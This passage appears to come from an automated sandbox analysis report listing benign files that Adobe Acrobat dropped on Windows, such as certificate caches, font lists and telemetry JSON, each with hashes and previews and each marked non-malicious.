MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7425532007658724
Encrypted:	false
SSDEEP:	3:kkFkl/3ZlltfllXlE/HT8ktY7llltNNX8RolJuRdxLlGB9lQRYwpDdt:kKieT8kYzdNMa8RdWBwRd
MD5:	9645BA1119F160D8A4F4131082683793
SHA1:	40576C12B9EAA25EEAB854F25A2AC39C5BF6A53B
SHA-256:	2831FFC3FD8C02D5436E2013C8159C4640FE64267BF6B6FF5C377F9BAE058977
SHA-512:	5C95E8FCB9B422A32A8274C5663AAB6186415E9286B1F936B3683FA68E4AF69AC2CF5BF494271EA0CD5F8DD9491ECD439A3E78621BAEF788B1FDD49BFE70357C
Malicious:	false
Preview:	p...... .............c..(....................................................... ..........W.....}..............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.230795304831838
Encrypted:	false
SSDEEP:	6:kK5aL9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:QiDImsLNkPlE99SNxAhUe/3
MD5:	CCFB18442A4FE05A6A7D5123BDC3D1C6
SHA1:	B1259F90C3F1D26B60BB4187A4404D8AA8FC95B1
SHA-256:	6759D7AE4E8676E0DB9376B26EB2E6CA770A05FA6ADDD91B6B37F021D41D97DE
SHA-512:	C9F976ED5DE25F1737AD0E7448CC5649B5E9EC5F4761E965702EC6F217ACCF1F24F7E377AAC5B438A37E98A136B21EE703BD0405449FB03AB7D1CEA6DE9C74CE
Malicious:	false
Preview:	p...... .........~...c..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.2944

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.2944

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.33547152126223
Encrypted:	false
SSDEEP:	6:YEQXJ2HXKApzcHc+FIbRI6XVW7+0YhBDoAvJM3g98kUwPeUkwRe9:YvXKXfZk9YpW7KsGMbLUkee9
MD5:	A15716EC5816DB4DB29C50F8228B02DB
SHA1:	96AEF6EA58F8B6D41D68B86763901B25C232C735
SHA-256:	B0BA74B525B29BEF88D2BE2206D4BCE66E121B8F0EFD3BBF4EBE91A6CF08FDE7
SHA-512:	6FACB6888E859CDCFB732A9EA2143698039194A02EC96B7055284E4FD700F91D7AC49CFD33BE7B81052AF650706A5773060C6F7C7287A0B13AF777543CFF2C7E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e1d1ef1b-7484-4bc5-a268-3e365c7c289a","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736741468706,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.2724377342276565
Encrypted:	false
SSDEEP:	6:YEQXJ2HXKApzcHc+FIbRI6XVW7+0YhBDoAvJfBoTfXpnrPeUkwRe9:YvXKXfZk9YpW7KsGWTfXcUkee9
MD5:	DDB7B5479DB508EE04820DE6DDFD23C2
SHA1:	4FFDFA8A8AD754434E50A2D31854E4C39DB07F1C
SHA-256:	ABBC04341A9083533FCB77650EFA317E9C0CB2F3590D24097F31B5C3A32289E1
SHA-512:	EA95EBD66477D122398492CCDDC90470C8FB1A8DE0E21C1314DFA5834CDCCCA63774D1349501013E70F95CC8C9BCA255F95FCB5924533E3D71747E5F11A2FD14
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e1d1ef1b-7484-4bc5-a268-3e365c7c289a","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736741468706,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.250849407492518
Encrypted:	false
SSDEEP:	6:YEQXJ2HXKApzcHc+FIbRI6XVW7+0YhBDoAvJfBD2G6UpnrPeUkwRe9:YvXKXfZk9YpW7KsGR22cUkee9
MD5:	BF13E1CD292EF20739E17FD1A594B253
SHA1:	5E8BE0928727B4E1F868876026A3E5B69EB24590
SHA-256:	7D16618187CCCDD086E8FBE65BC90AC0E15DC416C2AC3805BFCCB9DC34F77191
SHA-512:	FE09226A454C4FF2714D83F99C90263D0638F34D9821936376DE8DC37B4C43101EF7489482DD508B29B8AB47981EACDA36A8E87D1EE4090FE5875DA6D4526E68
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e1d1ef1b-7484-4bc5-a268-3e365c7c289a","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736741468706,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.313385736984414
Encrypted:	false
SSDEEP:	6:YEQXJ2HXKApzcHc+FIbRI6XVW7+0YhBDoAvJfPmwrPeUkwRe9:YvXKXfZk9YpW7KsGH56Ukee9
MD5:	7E8A5E769BBF66B9B4A4945755F1F240
SHA1:	FDB8AE584601178B5724D662D03E682B627CCF58
SHA-256:	2839E3417D31ABDECED0E56210712D747DB5E240173A34AD75D445010015A399
SHA-512:	88531BD8A838A6D325CCC09C710CC19E4A862F41304C272C7A22FC2FCE060D5B138EB16F5A574B801FBFFC9F77299539A4276C22BACC8591DA3B5050AD99328A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e1d1ef1b-7484-4bc5-a268-3e365c7c289a","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736741468706,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.688908671597217
Encrypted:	false
SSDEEP:	24:Yv6XfZRiKJpLgE9cQx8LennAvzBvkn0RCmK8czOCCSbP:YvoaShgy6SAFv5Ah8cv/b
MD5:	9FE9C54C67265FB3F7AB23E23E8948B0
SHA1:	65C23C2D986AC57F4F0C6DBF5A1C0326B1EEEAD7
SHA-256:	211966DEB7A50933654DDD0AB4D4E20B46DB4A092D620ACE785410AAC187FA93
SHA-512:	65FB288A0F8DDB548FADEA640BA6A543290DA40F88693D77EB23AA9F1FB6BCB4F8986B40FD4DD3519DF7C6F5ED059C6E23E58A7154C5405EA6171DD2A4F28E06
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e1d1ef1b-7484-4bc5-a268-3e365c7c289a","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736741468706,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.257640116827658
Encrypted:	false
SSDEEP:	6:YEQXJ2HXKApzcHc+FIbRI6XVW7+0YhBDoAvJf8dPeUkwRe9:YvXKXfZk9YpW7KsGU8Ukee9
MD5:	FB4EAEEE9C198D3A7755E73FC51AA070
SHA1:	C0AB4E464DA6ACC8F7E594BFF0B2CD89D057B08A
SHA-256:	5DCE1580BE91AB12470D83171A1A047CD3DC9BE827831622C0B846D8078A00E9
SHA-512:	BAA198821F50F733C231CB5F237D309CF8E1CAE270223EDF381D0F2BED099FE12E6571CC971B3F40BB48D362863E134FD9298563AA294B3CEA5AC8A5BA96B722
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e1d1ef1b-7484-4bc5-a268-3e365c7c289a","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736741468706,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.258774093796115
Encrypted:	false
SSDEEP:	6:YEQXJ2HXKApzcHc+FIbRI6XVW7+0YhBDoAvJfQ1rPeUkwRe9:YvXKXfZk9YpW7KsGY16Ukee9
MD5:	16BD039C8284C5700FBFA2668C3A5296
SHA1:	C0C518F7995659474DDC45AD4E48C1A188D458A4
SHA-256:	EDFF98E7629A955AA530C95692DE6987B2CCE981030B5213E23AC255DFC00C49
SHA-512:	E6AB6F8A3EDD174CEAE6648835DBFD0F3B2EBF93C1D71652B7547CA29FD1AC7B16FD8F55B0DF7E79F15430E7F9DB51735EF7615C29CBA48727A37BFB628717B1
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e1d1ef1b-7484-4bc5-a268-3e365c7c289a","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736741468706,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.279616793326811
Encrypted:	false
SSDEEP:	6:YEQXJ2HXKApzcHc+FIbRI6XVW7+0YhBDoAvJfFldPeUkwRe9:YvXKXfZk9YpW7KsGz8Ukee9
MD5:	F6E5F7D5B1A04C394EE7057FDB1F3DD4
SHA1:	74D94F8177B6A1F31589995BC7B49FD566E7543D
SHA-256:	BD5AE9605D89627B51F9C1247947D4F6967F80986218C1D20EF8A36CC2922B8A
SHA-512:	C5139B62FF1A4F088A584672A3DBEB3B6D4DDAD3D84DD6FA736D0235EB9CD39FFC02E2A29AB52A7020AC0EB2D1275017483036EE2984CCFC4B522331E6BF23C7
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e1d1ef1b-7484-4bc5-a268-3e365c7c289a","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736741468706,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.285841478823539
Encrypted:	false
SSDEEP:	6:YEQXJ2HXKApzcHc+FIbRI6XVW7+0YhBDoAvJfzdPeUkwRe9:YvXKXfZk9YpW7KsGb8Ukee9
MD5:	BA49006CC4BF02C469494FFB3D2DA003
SHA1:	C32FE42E5D399560701165897AD3038CEA730F34
SHA-256:	5AAA9CBB2824F458CA909378EFC9872062D0C51F72077239547B316C6ECA2B52
SHA-512:	E4DC5A6F060F40943C158FC9BF3B7AB980BC7E3CCA473CC23B0A3FCEEEBE3472CA72057C3BA9BD6CC6D59B708A1B5FE2D0F96C37CFE9E7DA00D8AFBA8B8B947F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e1d1ef1b-7484-4bc5-a268-3e365c7c289a","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736741468706,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.265789260169646
Encrypted:	false
